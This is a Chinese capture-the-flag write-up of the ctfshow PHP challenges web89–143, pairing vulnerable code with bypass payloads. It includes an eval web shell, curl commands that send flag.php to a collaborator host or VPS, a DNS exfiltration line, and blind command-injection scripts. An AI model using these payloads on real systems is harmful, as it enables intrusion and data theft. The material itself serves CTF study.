web89

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

数组绕过

?num[]=1

web90

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
语法
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
?num=0x117c

web91

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

m为多行匹配,也就是换行后匹配到php,换行前没php

?cmd=123%0aphp

web92

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
?num=0x117c

web93

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

不能有字母,改为8进制

?num=010574

web94

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

strpos() 函数查找字符串在另一字符串中第一次出现的位置,下标从0开始
换行绕过或小数点绕过

?num=%0a010574
?num=4476.0

web95

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
?num=%0a010574

web96

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

}
?u=./flag.php    //显示当前目录下的flag.php文件

或者php伪协议读取

?u=php://filter/read=convert.base64-encode/resource=flag.php

web97

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

数组绕过

a[]=1&b[]=2

web98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

三目运算符+变量覆盖
如果get传了值,那么就用post来覆盖掉get
如果get传参HTTP_FLAG的值为flag,则读取flag

get:a=1 
post:HTTP_FLAG=flag

web99

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

in_array是弱比较延用了php中的==

get:n=1.php
post:content=<?php @eval($_POST['cmd']);?>

web100

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
?>

and和&&是有区别的

$a = true && false;
var_dump($a); // false

$a= true and false;
var_dump($a); // true

所以只要v1等于数字就行了
然后要用到反射类ReflectionClass http://www.yinxi.net/doc/show_14537.html

?v1=1&v2=echo new ReflectionClass&v3=;

或者直接输出

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
?v1=1&v2=print_r($ctfshow)/*&v3=*/;

命令执行也行

?v1=1&v2=echo `cat ctfshow.php`/*&v3=*/;

web101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?
?v1=1&v2=echo new ReflectionClass&v3=;

web102

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>

题目本意是php5下is_numeric可识别16进制,如0x2e,然后调用hex2bin转成字符串写入木马,但题目环境没配好,是php7,所以要另换方法
因为写入要用伪协议写入,所以需要base64编码后转成16进制全是数字的字符串

<?php
$a='<?=`cat *`;';
$b=base64_encode($a);
echo $b;  // PD89YGNhdCAqYDs=
$c=bin2hex('PD89YGNhdCAqYDs');
echo $c;    //5044383959474e6864434171594473
?>

所以payload为

get:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post:v1=hex2bin

查看1.php源码得flag


web103

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

同上

get:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post:v1=hex2bin

web104

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>
get:?v2=1
post:v2=1

web105

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

变量覆盖,有多种解法

//$suces=$flag
get:?suces=flag
post:flag=value
//$error=$flag
get:?a=flag
post:error=a

直接输出$flag我觉得应该也是可以的,不过我没试出来


web106

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
?>

数组绕过

get:?v2[]=1
post:v1[]=2

web107

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}
?>

考察parse_str函数的使用
parse_str — 将字符串解析成多个变量

<?php
parse_str("name=xiaolong&passwd=123",$array);
print_r($array);
?>
输出
Array
(
    [name] => xiaolong
    [passwd] => 123
)
get:?v3=123
post:v1=flag=202cb962ac59075b964b07152d234b70

web108

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}
?>

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
ereg()存在%00截断漏洞
且为数组时它的返回值不是FALSE

strrev()反转字符串
0x36d=877

?c=a%00778

web109

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

异常处理类:Exception http://c.biancheng.net/view/6253.html
反射类:ReflectionClassReflectionMethod

?v1=Exception&v2=system('cat fl36dg.txt') 
?v1=Reflectionclass&v2=system('cat fl36dg.txt')
?v1=ReflectionMethod&v2=system('cat fl36dg.txt')

web110

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

依旧是php的原生类
可遍历目录类FilesystemIterator
PHP使用FilesystemIterator迭代器遍历目录
以及
getcwd():获取当前工作目录

?v1=FilesystemIterator&v2=getcwd

然后直接访问flag文件


web111

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
    

   
}

?

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
比如

<?php
$a = 1;
$b = 'abc';
var_dump($GLOBALS);
?>

会输出所有的变量,其中就有

["a"]=>
  int(1)
  ["b"]=>
  string(3) "abc"
?v1=ctfshow&v2=GLOBALS

web112

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

不能让is_file检测出是文件,并且 highlight_file可以识别为文件,用php伪协议
可以直接用不带任何过滤器的filter伪协议

?file=php://filter/resource=flag.php

其他还有很多

?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php
?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

web113

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容,通过多次重复后绕过is_file,但原理不清楚

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

或者

?file=compress.zlib://flag.php

web114

<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
?file=php://filter/resource=flag.php

web115

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

trim() 函数移除字符串两侧的空白字符或其他预定义字符,如果不指定第二个参数,trim() 将去除这些字符:

  • " " (ASCII 32 (0x20)),普通空格符。
  • "\t" (ASCII 9 (0x09)),制表符。
  • "\n" (ASCII 10 (0x0A)),换行符。
  • "\r" (ASCII 13 (0x0D)),回车符。
  • "\0" (ASCII 0 (0x00)),空字节符。
  • "\x0B" (ASCII 11 (0x0B)),垂直制表符。

yu师傅的脚本

for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}
//%0C (换页符)
?num=%0c36

web123

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

php变量名不允许使用点号,会变成下划线
但如果出现了[,那么这个[转变为下划线后,后面的点并不会转化,具体原理是啥还不知道
CTF[SHOW.COM=>CTF_SHOW.COM

CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

web125

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

$_SERVER['argv']
1、cli模式(命令行)下

第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

比如

<?php
var_dump($_SERVER['argv']);
?>

在这里插入图片描述

2、web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用

所以我们要通过eval("$c".";");$flag赋值为flag_give_me就可以了。

get:  ?$fl0g=flag_give_me;
post:  CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

出题人的预期解是在$_SERVER['argv'][0]中,对于传递的参数,可以通过加号+进行分割
parse_str:把查询字符串解析到变量中

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

或者还有一种更好理解

get:?1=flag.php
post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])

web126

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

同web125


web127

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

php解析特性

ctf%20show->ctf_show
%20ctfshow->ctfshow
?ctf show=ilove36d

web128

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}


function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

考查的是gettext拓展的使用,这好像是个实现多国语言的东西(假如你的没有国际化的程序里有这样的代码,echo "你好";,而国际化的程序你要写成 echo gettext("你好");,然后再在配置文件里添加“你好”相对应的英文“Hi”。这时,中国地区浏览都会在屏幕上输出“你好”,而美国地区浏览都会在屏幕上输出“Hi”。)。
gettext("phpinfo")等同于phpinfo()
在开启该拓展后 _() 等效于 gettext()
所以 call_user_func('_','phpinfo') 返回的就是phpinfo
还要用到一个函数get_defined_vars

get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
?f1=_&f2=get_defined_vars

web129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

php伪协议可以套一层协议,无效的话会被忽略

?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php

或者

?f=/ctfshow/../../../../../../../var/www/html/flag.php

web130

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

这个正则只有在ctfshow前面至少有一个字符才匹配到,所以直接等于ctfshow就行了

f=ctfshow

web131

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

回溯法绕过正则

import requests
url = 'http://de7e4af3-18ec-4b13-8485-367088c7305a.challenge.ctf.show:8080/'
payload = {
    'f':'a'*1000000+'36Dctfshow'
}
r = requests.post(url=url,data=payload)
print(r.text)

web132

访问robots.txt发现/admin,访问/admin,应该是源码,但我这404了,好像是题目出问题了

if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

||优先级低于&&,举个例子就明白了

<?php
if(false && false || true){
    echo 123;
}
?>
//123
?username=admin&password=1&code=admin

web133

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }

考察变量覆盖和无回显rce

get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行  ``$F `;sleep 3` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3

然后因为没有回显,可以通过curl外带来查看
这里可以用bp也可以用vps
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)

?F=`$F `;curl -X POST -F xx=@flag.php http://7dl83rso1b33x5cv8ecxo3snxe34rt.burpcollaborator.net
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件 

在这里插入图片描述

在这里插入图片描述

用vps的话nc -lnvp监听端口即可

?F=`$F `;curl -X POST -F xx=@flag.php 47.xxx.xxx.xxx:2233

在这里插入图片描述

出题人wp
ctfshow web133和其他命令执行的骚操作


web134

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

考察数组变量覆盖
测试

parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);

然后我们传入 _POST[‘a’]=123
会发现输出的结果为array(1) { ["‘a’"]=> string(3) “123” }
也就是说现在的$_POST[‘a’]存在并且值为123

题目中还有个extract($_POST)
这样的话 $a==123

?_POST[key1]=36d&_POST[key2]=36d

有点懵~


web135

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }

有写入权限

?F=`$F `;nl flag.php>1.txt
除了nl外还有vi,xxd,uniq都行

以及

?F=`$F `;cp flag.php 1.txt
?F=`$F `;mv flag.php 1.txt

ping好像也行,但我没看懂也没成功
http://www.dnslog.cn/

?F=`$F `;ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cn

web136

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

linux中还可以用tee写文件

?c=ls /|tee a
?c=cat /f149_15_h3r3|tee c

web137

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']);

考察调用类中的函数
双冒号可以不用实例化类就可以直接调用类中的方法

ctfshow=ctfshow::getFlag
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

web138

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func可以传数组

在这里插入图片描述

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}

没有写入权限了,只能写脚本盲打
猜测文件名

import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
    key=0
    for j in range(1,15):
        if key==1:
            break
        for n in str:
            payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
            #print(payload)
            url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
            try:
                requests.get(url,timeout=(2.5,2.5))
            except:
                result=result+n
                print(result)
                break
            if n=='9':
                key=1
    result+=" "

得到flag所在文件 f149_15_h3r3,接着盲注文件内容

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
    print(j)
    if key==1:
        break
    for n in str:
        payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
        #print(payload)
        url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
        try:
            requests.get(url,timeout=(2.5,2.5))
        except:
            result=result+n
            print(result)
            break

这脚本咱也不会写,咱也看不懂,这题先搁一边


web140

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

在这里插入图片描述

弱比较,0和字符串相等,那么只要intval($code)=0即可
intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0
所以md5(phpinfo()),md5(sleep()),md5(md5())等等就可,有很多

f1=md5&f2=sleep
f1=md5&f2=phpinfo

web141

<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

正则匹配非数字字母下划线的字符
php中数字可以和命令进行一些运算,比如1-phpinfo()-1输出的还是phpinfo()
所以这里可以1-system('tac f*')-1
构造的话取反或者异或都行,我用了取反

<?php

function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

negateRce();
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-

web142

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}
?v1=0

web143

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

过滤了~,用异或
羽师傅的脚本

